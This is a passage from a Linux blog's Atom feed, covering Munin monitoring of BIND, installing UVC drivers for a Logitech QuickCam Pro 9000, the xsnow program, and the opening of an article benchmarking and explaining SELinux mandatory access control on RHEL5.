[bind9_rndc]&lt;br&gt;
user root&lt;br&gt;
env.querystats /var/log/bind9/named.stats&lt;br&gt;
...&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Next restart Munin:
&lt;p&gt;
&lt;pre&gt;
# &lt;strong&gt;/etc/init.d/munin-node restart&lt;/strong&gt;&lt;br&gt;
Stopping munin-node: done.&lt;br&gt;
Starting munin-node: done.&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Munin run every five minutes, so go take a coffee. Wait.

&lt;p&gt;After a while, graphs arrive:
&lt;p&gt;
&lt;img width=&quot;493&quot; height=&quot;541&quot; src=&quot;http://blog.gnist.org/images/articles/MonitorBindWithMunin_1_original.png&quot; alt=&quot;&quot;&gt;

&lt;p&gt;And the bind_rndc plugin: 
&lt;p&gt;(Consult the &lt;a href=&quot;http://www.bind9.net/manual/bind/9.2.4/Bv9ARM.ch06.html#statsfile&quot;&gt;&quot;BIND 9 Administrator Reference Manual&quot;&lt;/a&gt; if you have trouble interpreting the results.)
&lt;p&gt;
&lt;img width=&quot;493&quot; height=&quot;346&quot; src=&quot;http://blog.gnist.org/images/articles/MonitorBindWithMunin_2_original.png&quot; alt=&quot;&quot;&gt;

&lt;p&gt;Nice huh? 

&lt;p&gt;What are you waiting for? &lt;a href=&quot;http://munin.projects.linpro.no/&quot;&gt;Munin is over here&lt;/a&gt;.</content>
</entry>
<entry>
<title type="html">Linux and Logitech QuickCam Pro 9000</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=Linux_and_LogitechQuickCamPro9000"/>
<id>tag:blog.larsstrand.org,2008-02-02:/article.php?story=Linux_and_LogitechQuickCamPro9000</id>
<published>2008-02-02T12:54:00+01:00</published>
<updated>2008-02-02T12:54:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">I've been on the lookout for a decent webcam. After some searching, the choice fell on &lt;a href=&quot;http://www.logitech.com/index.cfm/webcam_communications/webcams/devices/3056&amp;amp;cl=roeu,en&quot;&gt;Logitech QuickCam Pro 9000&lt;/a&gt;, which should be supported according to the &lt;a href=&quot;http://linux-uvc.berlios.de/&quot;&gt;Linux UVC driver&lt;/a&gt; page. It's not one of the cheaper models, but not the most expensive either. It also has &quot;HD-quality&quot; (which in this case translates to resolution up to 1600x1200). So how does this camera works under Linux?
&lt;p&gt;My first thought after unwrapping was &quot;Is that it?&quot;. It was smaller than I had anticipated. But when it comes to webcam, smaller is better I guess.
&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_1_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;150&quot; src=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_1.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;p&gt;Ubuntu 7.10 (i386) ships with UVC drivers, but they are too old. So we install new ones from trunk:
&lt;p&gt;&lt;strong&gt;&lt;em&gt;(Update! This webcam works out of the box on Ubuntu 8.04)&lt;/em&gt;&lt;/strong&gt;
&lt;p&gt;
&lt;pre&gt;
 &amp;#36; &lt;strong&gt;svn checkout svn://svn.berlios.de/linux-uvc/linux-uvc/trunk&lt;/strong&gt;&lt;br&gt;
 &amp;#36; &lt;strong&gt;cd trunk&lt;/strong&gt;&lt;br&gt;
 &amp;#36; &lt;strong&gt;make&lt;/strong&gt;&lt;br&gt;
 &amp;#36; &lt;strong&gt;sudo make install&lt;/strong&gt;&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;When we now plug in the camera, it's detected properly:
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;dmesg&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
[14323.676000] usb 5-1: new high speed USB device using ehci_hcd and address 7&lt;br&gt;
[14323.932000] usb 5-1: configuration #1 chosen from 1 choice&lt;br&gt;
[14324.056000] Linux video capture interface: v2.00&lt;br&gt;
[14324.168000] usbcore: registered new interface driver snd-usb-audio&lt;br&gt;
[14324.180000] uvcvideo: Found UVC 1.00 device  (046d:0990)&lt;br&gt;
[14324.196000] usbcore: registered new interface driver uvcvideo&lt;br&gt;
[14324.200000] USB Video Class driver (v0.1.0)&lt;br&gt;
&lt;br&gt;
&amp;#36; &lt;strong&gt;lsusb&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
Bus 005 Device 007: ID 046d:0990 Logitech, Inc.&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
We see the modules are loaded:
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;lsmod | grep uvc&lt;/strong&gt;&lt;br&gt;
uvcvideo               48644  0 &lt;br&gt;
compat_ioctl32          2304  1 uvcvideo&lt;br&gt;
videodev               29312  1 uvcvideo&lt;br&gt;
v4l1_compat            15364  2 uvcvideo,videodev&lt;br&gt;
v4l2_common            18432  2 uvcvideo,videodev&lt;br&gt;
usbcore               138632  10 snd_usb_audio,uvcvideo,snd_usb_lib,hci_usb,appleir,xpad,usbhid,ehci_hcd,uhci_hcd &lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
The camera also has a built in microphone, which is detected and works (number #1 here):
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;cat /proc/asound/cards&lt;/strong&gt;&lt;br&gt;
 0 [Intel          ]: HDA-Intel - HDA Intel&lt;br&gt;
                      HDA Intel at 0x90440000 irq 21&lt;br&gt;
 1 [U0x46d0x990    ]: USB-Audio - USB Device 0x46d:0x990&lt;br&gt;
                      USB Device 0x46d:0x990 at usb-0000:00:1d.7-1, high speed&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Time for testing! 

&lt;p&gt;A capable webcam viewer is luvcview. It has the ability to take snapshot (photos), record video (avi), change resolution etc. We download and install luvcview from &lt;a href=&quot;http://mxhaard.free.fr/download.html&quot;&gt;here&lt;/a&gt;.

&lt;p&gt;One nice feature is to list all supported resolutions:
&lt;p&gt;
&lt;pre&gt;
 &amp;#36; &lt;strong&gt;luvcview -L&lt;/strong&gt;&lt;br&gt;
luvcview version 0.2.1 &lt;br&gt;
Video driver: x11&lt;br&gt;
A window manager is available&lt;br&gt;
video /dev/video0 &lt;br&gt;
/dev/video0 does not support read i/o&lt;br&gt;
{ pixelformat = 'MJPG', description = 'MJPEG' }&lt;br&gt;
{ discrete: width = 160, height = 120 }&lt;br&gt;
        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;
{ discrete: width = 176, height = 144 }&lt;br&gt;
        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;
{ discrete: width = 320, height = 240 }&lt;br&gt;
        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;
{ discrete: width = 352, height = 288 }&lt;br&gt;
        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;
{ discrete: width = 640, height = 480 }&lt;br&gt;
        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;
{ discrete: width = 800, height = 600 }&lt;br&gt;
        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;
{ discrete: width = 960, height = 720 }&lt;br&gt;
        Time interval between frame: 1/15, 1/10, 1/5, &lt;br&gt;
{ pixelformat = 'YUYV', description = 'YUV 4:2:2 (YUYV)' }&lt;br&gt;
{ discrete: width = 160, height = 120 }&lt;br&gt;
        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;
{ discrete: width = 176, height = 144 }&lt;br&gt;
        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;
{ discrete: width = 320, height = 240 }&lt;br&gt;
        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;
{ discrete: width = 352, height = 288 }&lt;br&gt;
        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;
{ discrete: width = 640, height = 480 }&lt;br&gt;
        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;
{ discrete: width = 800, height = 600 }&lt;br&gt;
        Time interval between frame: 1/25, 1/20, 1/15, 1/10, 1/5, &lt;br&gt;
{ discrete: width = 960, height = 720 }&lt;br&gt;
        Time interval between frame: 1/10, 1/5, &lt;br&gt;
{ discrete: width = 1600, height = 1200 }&lt;br&gt;
        Time interval between frame: 1/5,&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;1600x1200 is bigger than my screen here, so 960x720 will have to do. I had to disable SDL hardware acceleration to use resolution above 800x600, or else luvcview crashed:
&lt;p&gt;
&lt;pre&gt;
 &amp;#36; &lt;strong&gt;luvcview -w -s 960x720&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;img width=&quot;800&quot; height=&quot;640&quot; src=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_2_original.jpg&quot; alt=&quot;&quot;&gt;
&lt;p&gt;The colors look good, it adapt well to light and I've had no stability issues (yet). The camera also works with &lt;a href=&quot;http://www.ekiga.org/&quot;&gt;ekiga&lt;/a&gt; (gnomemeeting):
&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_3_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;111&quot; height=&quot;200&quot; src=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_3.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;p&gt;&lt;a href=&quot;http://kopete.kde.org/&quot;&gt;Kopete&lt;/a&gt;:
&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_4_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;196&quot; height=&quot;200&quot; src=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_4.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;p&gt;And &lt;a href=&quot;http://www.skype.com/intl/en/download/skype/linux/beta/&quot;&gt;Skype (2.0 beta)&lt;/a&gt; (the microphone also works):
&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_5_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;153&quot; src=&quot;http://blog.gnist.org/images/articles/Linux_and_LogitechQuickCamPro9000_5.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;</content>
</entry>
<entry>
<title type="html">No snow, no Christmas?</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=Christmas-with-xsnow"/>
<id>tag:blog.larsstrand.org,2007-12-04:/article.php?story=Christmas-with-xsnow</id>
<published>2007-12-04T19:24:00+01:00</published>
<updated>2007-12-04T19:24:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">Soon Christmas and still no snow? Since there hasn't been a decent cold and white winter here for years, it's a little hard to get that Christmas mood. Luckily, we have computer tools that can help us out.
&lt;p&gt;A small and nifty little program called &lt;a href=&quot;http://dropmix.xs4all.nl/rick/Xsnow/&quot;&gt;&quot;xsnow&quot;&lt;/a&gt; snows all over your X-session. All the windows get covered in snow and even Santa himself fly by. The graphics are not &lt;a href=&quot;http://www.youtube.com/watch?v=R3P-Pbp9uvY&quot;&gt;outstanding&lt;/a&gt;, in fact they quite early 1990-ish. Still, it gives you a little Christmas nostalgia. You can almost feel the cold when the snows hurls over your screen.
&lt;p&gt;&lt;img width=&quot;640&quot; height=&quot;512&quot; src=&quot;http://blog.larsstrand.org/images/articles/Christmas-with-xsnow_1_original.png&quot; alt=&quot;&quot;&gt;</content>
</entry>
<entry>
<title type="html">RHEL5 SELinux: A benchmark</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=RHEL5-SELinux-Benchmark"/>
<id>tag:blog.larsstrand.org,2007-11-07:/article.php?story=RHEL5-SELinux-Benchmark</id>
<published>2007-11-07T22:05:00+01:00</published>
<updated>2007-11-07T22:05:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">SELinux introduces a new access control mechanism in the Linux kernel called &lt;em&gt;&quot;mandatory access control&quot;&lt;/em&gt;. It has been in the mainline Linux kernel since 2003, and included in RedHat Enterprise Linux 4 (2005). RedHat have been testing SELinux for quite some time through the Fedora releases, where it has been available since Fedora 2 (2004). RedHat is aggressively pushing the development of SELinux and relevant tools forward. From RHEL version 4 to 5 the targeted policy includes more services, added support for a modular policy, (graphical) administrations tools and support for MLS. But what are the performance penalties when running with and without SELinux enabled?
&lt;hr&gt;
&lt;p&gt;
&lt;strong&gt;&lt;font size=&quot;+1&quot;&gt;Index&lt;/font&gt;&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#SELinux&quot;&gt;SELinux&lt;/a&gt;
&lt;ol type=&quot;a&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#Access control&quot;&gt;Access control&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#Security attributes&quot;&gt;Security attributes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#SELinux MAC&quot;&gt;SELinux MAC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#Security policy&quot;&gt;Security policy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#AppArmor&quot;&gt;AppArmor&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#Test Setup&quot;&gt;Test setup&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#The Tests&quot;&gt;The tests&lt;/a&gt;
&lt;ol type=&quot;a&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#Apache&quot;&gt;Apache&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#Postfix&quot;&gt;Postfix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#MySQL&quot;&gt;MySQL&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#Conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#References&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;hr&gt;

&lt;strong&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;SELinux&quot;&gt;1. SELinux&lt;/a&gt;&lt;/font&gt;&lt;/strong&gt;

&lt;p&gt;&lt;a href=&quot;http://www.nsa.gov&quot;&gt;NSA&lt;/a&gt; originally developed SELinux and surprised everyone when they open sourced it. 

&lt;p&gt;&lt;em&gt;&quot;.. let me assure you that this action by the NSA was the crypto-equivalent of the Pope coming down off the balcony in Rome, working the crowd with a few loaves of bread and some fish, and then inviting everyone to come over to his place to watch the soccer game and have a few beers. There are some things that one just never expects to see, and the NSA handing out source code along with details of the security mechanism behind it was right up there on that list.&quot;&lt;/em&gt;&lt;br&gt;
 --- Larry Loeb, &lt;a href=&quot;http://www-128.ibm.com/developerworks/library/s-selinux/?n-s-381&quot;&gt;&quot;Uncovering the secrets of SE Linux&quot;&lt;/a&gt; 

&lt;p&gt;SELinux was quickly embraced by the open source community and RedHat in particular have led the development the last years. Existing first as a set of third party kernel patches, it was later rewritten to use the &lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_Security_Modules&quot;&gt;&quot;Linux Security Modules&quot;&lt;/a&gt; (LSM) and is now part of the mainline kernel.

&lt;p&gt;LSM provides no security by itself, but gives a general framework to support access control modules like SELinux. LSM does that by inserting hooks in the kernel code right before the access would have been granted by traditional access control. These &quot;hooks&quot; are just calls to functions that the LSM modules (SELinux) must provide.

&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Access control&quot;&gt;1a. Access control&lt;/a&gt;&lt;/font&gt;

&lt;p&gt;The access control mechanism found in traditional operating systems (Linux, Windows, UNIX, OSX), the users are in control and determine access control. Ordinary users may give or revoke access privileges to their own object (files). This access control scheme is called &lt;em&gt;&quot;discretionary access control&quot;&lt;/em&gt; (DAC), since the subjects have discretion over their own objects. Bishop defines DAC as:

&lt;p&gt;&lt;em&gt;&quot;If an individual user can set an access control mechanism to allow or deny access to an object, that mechanism is a discretionary access control (DAC), also called identity-based access control (IBAC).&quot;&lt;/em&gt; [&lt;a href=&quot;#Bishop1&quot;&gt;Bishop&lt;/a&gt;]

&lt;p&gt;SELinux introduces a new access control mechanism called &lt;em&gt;&quot;mandatory access control&quot;&lt;/em&gt; (MAC). Here the access control is taken out of the hand of the users and enforced by the system it self. &lt;em&gt;&quot;In general, when systems are built to enforce a security policy independently of user actions, they are described as having &lt;strong&gt;mandatory access control&lt;/strong&gt;&quot;&lt;/em&gt; [&lt;a href=&quot;#Anderson1&quot;&gt;Anderson&lt;/a&gt;]. SELinux supplement Linux with mandatory access control (MAC), since access control is enforced based on a security policy and not user identity alone. 

&lt;p&gt;MAC can be defined as: &lt;em&gt;&quot;When a system mechanism controls access to and an individual user cannot alter that access, that control is a mandatory access control (MAC), occasionally called a rule-based access control.&quot;&lt;/em&gt; [&lt;a href=&quot;#Bishop1&quot;&gt;Bishop&lt;/a&gt;]

&lt;p&gt;It must be stressed that MAC is not by definition more secure than DAC. It is just two different approaches to access control. The strength of MAC depends on a well-defined security policy. But when MAC is used, the security policy is usually written in accordance with the &lt;em&gt;&quot;principle of least privilege&quot;&lt;/em&gt;. This principle is best explained using an example: A user reads his email using a program called &quot;mutt&quot;. Since &quot;mutt&quot; is executed as a normal user, the &quot;mutt&quot; process has the same privileges to read and write to all the files as the user himself. That means that &quot;mutt&quot; can read the users ssh-keys, change the users password, delete all the users files and so on. Mutt does not need all those privileges in order to function properly, so they can be denied. Again, Bishop gives a clear and concise definition:

&lt;p&gt;&lt;em&gt;&quot;The principle of least privilege states that a subject should be given only those privileges that it need in order to complete its task.&quot;&lt;/em&gt; [&lt;a href=&quot;#Bishop1&quot;&gt;Bishop&lt;/a&gt;]

&lt;p&gt;SELinux does not replace the traditional DAC in Linux. SELinux introduces MAC in &lt;em&gt;addition&lt;/em&gt; to DAC. All access decisions are first consulted DAC then MAC (SELinux). If an action is denied in DAC, SELinux (MAC) is not consulted and the action is denied. If DAC allows the action, the decision is sent to SELinux for a MAC check.

&lt;p&gt;&lt;img width=&quot;930&quot; height=&quot;217&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_1_original.png&quot; alt=&quot;&quot;&gt;

&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Security attributes&quot;&gt;1b. Security attributes&lt;/a&gt;&lt;/font&gt;

&lt;p&gt;SELinux uses a combination of an identity model, role-based access control (RBAC) and type enforcement (TE). Where TE is the most important feature. SELinux RBAC authorize each (SELinux) user for a set of roles. Each role is authorized to a set of types.

&lt;p&gt;This is accomplished using four security attributes:

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;User identity:&lt;/strong&gt; SELinux has its own user database which are mapped to normal Linux users. The identities are used on both subject and objects. Only a few SELinux users are defined: (can be listed by &lt;em&gt;'semanage user -l'&lt;/em&gt;): 
  &lt;ul&gt;
     &lt;li&gt;&lt;strong&gt;user_u&lt;/strong&gt; - normal users.&lt;/li&gt;
     &lt;li&gt;&lt;strong&gt;system_u&lt;/strong&gt; - processes started (at boot).&lt;/li&gt;
     &lt;li&gt;&lt;strong&gt;root&lt;/strong&gt; - administrator.&lt;/li&gt;
  &lt;/ul&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Role:&lt;/strong&gt; Users may enter into different roles. Different roles may enter different domains. For objects (files), this is always &lt;em&gt;object_r&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Type / domain:&lt;/strong&gt; The &quot;main&quot; attribute in SELinux. Also called the &quot;primary attribute&quot;. It is usually only a few users/roles defined, but hundreds of types. There is no difference between &quot;type&quot; and &quot;domain&quot;, but &quot;domains&quot; are used when talked about processes and &quot;type&quot; when talking about files. Each process is confined in it own sandbox with restricted access, also called &quot;Type Enforcement&quot;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Category / level:&lt;/strong&gt; May set category and/or level. Introduced in RHEL 5 and enables Multi Level Security (MLS) or Multi Category Security (MCS).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These four security attributes build up what is called a &quot;security context&quot;:
&lt;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;font color=&quot;#a52a2a&quot;&gt;&amp;lt;user&amp;gt;&lt;/font&gt;:
&lt;font color=&quot;#c3b200&quot;&gt;&amp;lt;role&amp;gt;&lt;/font&gt;:
&lt;font color=&quot;#0000c1&quot;&gt;&amp;lt;type&amp;gt;&lt;/font&gt;:
&lt;font color=&quot;#008600&quot;&gt;&amp;lt;category/level&amp;gt;&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;table border=&quot;0&quot; cellpadding=&quot;3&quot;&gt;
    &lt;tr bgcolor=&quot;#999999&quot;&gt;
      &lt;td&gt;&lt;strong&gt;Security attribute&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;Name convention&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;Example name&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;font color=&quot;#a52a2a&quot;&gt;User&lt;/font&gt;&lt;/td&gt;
      &lt;td&gt;&lt;font color=&quot;#a52a2a&quot;&gt;_u&lt;/font&gt;&lt;/td&gt;
      &lt;td&gt;&lt;font color=&quot;#a52a2a&quot;&gt;user_u&lt;/font&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;font color=&quot;#c3b200&quot;&gt;Role&lt;/font&gt;&lt;/td&gt;
      &lt;td&gt;&lt;font color=&quot;#c3b200&quot;&gt;_r&lt;/font&gt;&lt;/td&gt;
      &lt;td&gt;&lt;font color=&quot;#c3b200&quot;&gt;object_r&lt;/font&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;font color=&quot;#0000c1&quot;&gt;Type&lt;/font&gt;&lt;/td&gt;
      &lt;td&gt;&lt;font color=&quot;#0000c1&quot;&gt;_t&lt;/font&gt;&lt;/td&gt;
      &lt;td&gt;&lt;font color=&quot;#0000c1&quot;&gt;unconfined_t&lt;/font&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;font color=&quot;#008600&quot;&gt;Category / level&lt;/font&gt;&lt;/td&gt;
      &lt;td&gt;&lt;font color=&quot;#008600&quot;&gt;(none)&lt;/font&gt;&lt;/td&gt;
      &lt;td&gt;&lt;font color=&quot;#008600&quot;&gt;s0:c0&lt;/font&gt;&lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;

&lt;p&gt;To view the security context of files and/or processes, the option &quot;Z&quot; is used:
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;ls -Z /etc/passwd&lt;/strong&gt;&lt;br&gt;
-rw-r--r--  root root system_u:object_r:etc_t          /etc/passwd&lt;br&gt;
&amp;#36; &lt;strong&gt;ps Z -C sshd&lt;/strong&gt;&lt;br&gt;
LABEL                             PID TTY      STAT   TIME COMMAND&lt;br&gt;
system_u:system_r:unconfined_t:SystemLow-SystemHigh 2021 ? Ss   0:00 /usr/sbin/sshd&lt;br&gt;
system_u:system_r:unconfined_t:SystemLow-SystemHigh 16795 ? Ss   0:00 sshd: lars [priv]&lt;br&gt;
system_u:system_r:unconfined_t:SystemLow-SystemHigh 16797 ? S   0:01 sshd: lars@pts/1 &lt;br&gt;
system_u:system_r:unconfined_t:SystemLow-SystemHigh 24700 ? Ss   0:00 sshd: lars [priv]&lt;br&gt;
system_u:system_r:unconfined_t:SystemLow-SystemHigh 24702 ? S   0:00 sshd: lars@pts/0 &lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;SELinux MAC&quot;&gt;1c. SELinux MAC&lt;/a&gt;&lt;/font&gt;

&lt;p&gt;Lets look closer on the decision making process in the kernel. When a subject (process) wants to access an object (for example a file), it must first be granted by DAC. Then the decision is sent to SELinux via LSM. In SELinux the Policy Enforcment Server does a lookup in the Access Vector Cache (AVC) where earlier subject and objects permission are cached. If the decision is not found in the AVC, the request continues to the Security Server which looks up the security context of the file and consult the policy. Permission is then either denied or granted. The result is cached in the AVC. Se figure below for a graphical illustration:

&lt;p&gt;&lt;img width=&quot;1042&quot; height=&quot;433&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_2_original.png&quot; alt=&quot;&quot;&gt;

&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Security policy&quot;&gt;1d. Security policy&lt;/a&gt;&lt;/font&gt;

&lt;p&gt;SELinux consists of:

&lt;ol&gt;
  &lt;li&gt;Kernel module. Included in the mainline kernel since 2.6.
  &lt;li&gt;Library 'libselinux' used by userspace programs (ls, ps, id, ...).
  &lt;li&gt;Administrative tools (&quot;SELinux Management Tool&quot;, sestatus, ...).
  &lt;li&gt;Security policy.
&lt;/ol&gt;

&lt;p&gt;The policy is written in m4 (same as the config file in Sendmail), compiled and loaded into the kernel at boot time. Writing new or changing existing policy directly might not be intuitive for new users so RedHat has invested a lot of effort into creating user-friendly (graphical) administrative tools. The policy has also been made modular, so it is easier to turn of TE for certain programs. 

&lt;p&gt;But the policy does not cover the whole system. In RHEL4 only 15 network based services (apache, bind, ntp, ...) where covered by the policy. The rest of the system ran in an &quot;unconfined_t&quot; domain which is a special domain with no restrictions (same as if SELinux was not running). In RHEL5, the number of programs covered by the policy are over 200. &quot;Covered&quot; here means that the program are confined to its own &quot;domain&quot; with restricted privileges.

&lt;p&gt;&lt;img width=&quot;647&quot; height=&quot;355&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_3_original.png&quot; alt=&quot;&quot;&gt;

&lt;p&gt;In RHEL/Fedora &quot;strict&quot; and &quot;MLS&quot; policy may also be installed, but they are unsupported. In the &quot;strict&quot; policy, every subject and object exists in a specific domain. The &quot;MLS&quot; policy enforces military style security levels and uses the &lt;a href=&quot;http://en.wikipedia.org/wiki/Bell-LaPadula_model&quot;&gt;Bell-La Padula model (BLP)&lt;/a&gt;. The (binary) size of the policies also varies according to how much they cover. The &quot;strict&quot; policy is more than double in size of the &quot;targeted&quot;:

&lt;ul&gt;
  &lt;li&gt;Targeted: 1.1 MB
  &lt;li&gt;Strict: 2.5 MB
  &lt;li&gt;MLS: 2.1 MB
&lt;/ul&gt;

&lt;p&gt;SELinux may run either in &quot;enforcing&quot; or &quot;permissive&quot; mode. In &quot;permissive&quot; mode access control is checked against the security policy but not enforced. Instead warnings are printed to a log file when policy is violated (nice for debugging). When SELinux run in &quot;enforcing&quot; mode, the policy is enforced. 

&lt;p&gt;The /selinux pseudo-filesystem gives access to SELinux variables and AVC statistics. I wrote a &lt;a href=&quot;http://munin.projects.linpro.no/&quot;&gt;Munin&lt;/a&gt; plugin to monitor the AVC (&lt;a href=&quot;http://blog.gnist.org/download/selinux/selinux_avcstat&quot;&gt;download&lt;/a&gt;). The graphs below shows the load on the AVC. No active services (besides Munin) to the left and running the MySQL benchmark to the right. 

&lt;p&gt;&lt;img width=&quot;1000&quot; height=&quot;324&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_4_original.png&quot; alt=&quot;&quot;&gt;

&lt;p&gt;When running real-life load or doing benchmarking, several hundred thousand AVC lookups per seconds are preformed. 

&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;AppArmor&quot;&gt;1e. AppArmor&lt;/a&gt;&lt;/font&gt;
&lt;p&gt;AppArmor (&quot;Application Armor&quot;) is a competing technology to SELinux. It enables MAC in the kernel using LSM, the same as SELinux, but takes a different approach. For instance it uses full path names instead of inode names for file objects. 

&lt;p&gt;Immunix created AppArmor as an alternative to SELinux, which was considered to hard to administer. Immunix was later aquired by Novell, and included in Novell Suse. Creating and maintaining AppArmor polices is user friendly, and that has led other Linux distributions, like Ubuntu and Mandriva, to include it in the default install. The overhead using AppArmor is said to be around 2% [&lt;a href=&quot;#Novell3&quot;&gt;Cowan&lt;/a&gt;].

&lt;p&gt;In a surprise move, Novell laid of most of their AppArmor devlopers in September 2007 [&lt;a href=&quot;#Novell1&quot;&gt;news.com&lt;/a&gt;] [&lt;a href=&quot;#Novell2&quot;&gt;linux-magazine.com&lt;/a&gt;]. Making the future of AppArmor more uncertain and depended upon the open source community to continue the development. One indication of popularity can be seen in &lt;a href=&quot;http://www.google.com/trends?q=selinux%2C+apparmor&amp;amp;ctab=0&amp;amp;hl=en&amp;amp;geo=all&amp;amp;date=all&amp;amp;sort=0&quot;&gt;Google trends&lt;/a&gt;.

&lt;p&gt;&lt;strong&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Test Setup&quot;&gt;2. Test setup&lt;/a&gt;&lt;/font&gt;&lt;/strong&gt;

&lt;p&gt;Two nodes, connected through a gigabit switch as shown in the illustration below:

